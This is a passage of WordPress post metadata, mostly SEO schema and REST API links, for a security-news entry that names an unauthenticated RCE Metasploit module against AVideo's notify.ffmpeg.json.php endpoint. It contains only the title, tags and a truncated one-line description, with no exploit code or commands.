Discovery_MSF:EXPLOIT-MULTI-HTTP-AVIDEO_NOTIFY_FFMPEG_UNAUTH_RCE-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery_MSF:EXPLOIT-MULTI-HTTP-AVIDEO_NOTIFY_FFMPEG_UNAUTH_RCE- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=36080","og_locale":"en_US","og_type":"article","og_title":"AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery_MSF:EXPLOIT-MULTI-HTTP-AVIDEO_NOTIFY_FFMPEG_UNAUTH_RCE- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-01-16T19:28:01&#8243;,&#8221;description&#8221;:&#8221;This module exploits an unauthenticated remote code execution RCE vulnerability in AVideo&#8217;s notify.ffmpeg.json.php endpoint. The vulnerability stems from a critical cryptographic weakness in the salt...","og_url":"https:\/\/zero.redgem.net\/?p=36080","og_site_name":"zero redgem","article_published_time":"2026-01-16T13:48:15+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"14 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=36080#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=36080"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery_MSF:EXPLOIT-MULTI-HTTP-AVIDEO_NOTIFY_FFMPEG_UNAUTH_RCE-","datePublished":"2026-01-16T13:48:15+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=36080"},"wordCount":2767,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.3","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=36080#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=36080","url":"https:\/\/zero.redgem.net\/?p=36080","name":"AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery_MSF:EXPLOIT-MULTI-HTTP-AVIDEO_NOTIFY_FFMPEG_UNAUTH_RCE- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-01-16T13:48:15+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=36080#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=36080"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=36080#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery_MSF:EXPLOIT-MULTI-HTTP-AVIDEO_NOTIFY_FFMPEG_UNAUTH_RCE-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/36080","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=36080"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/36080\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=36080"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=36080"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=36080"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}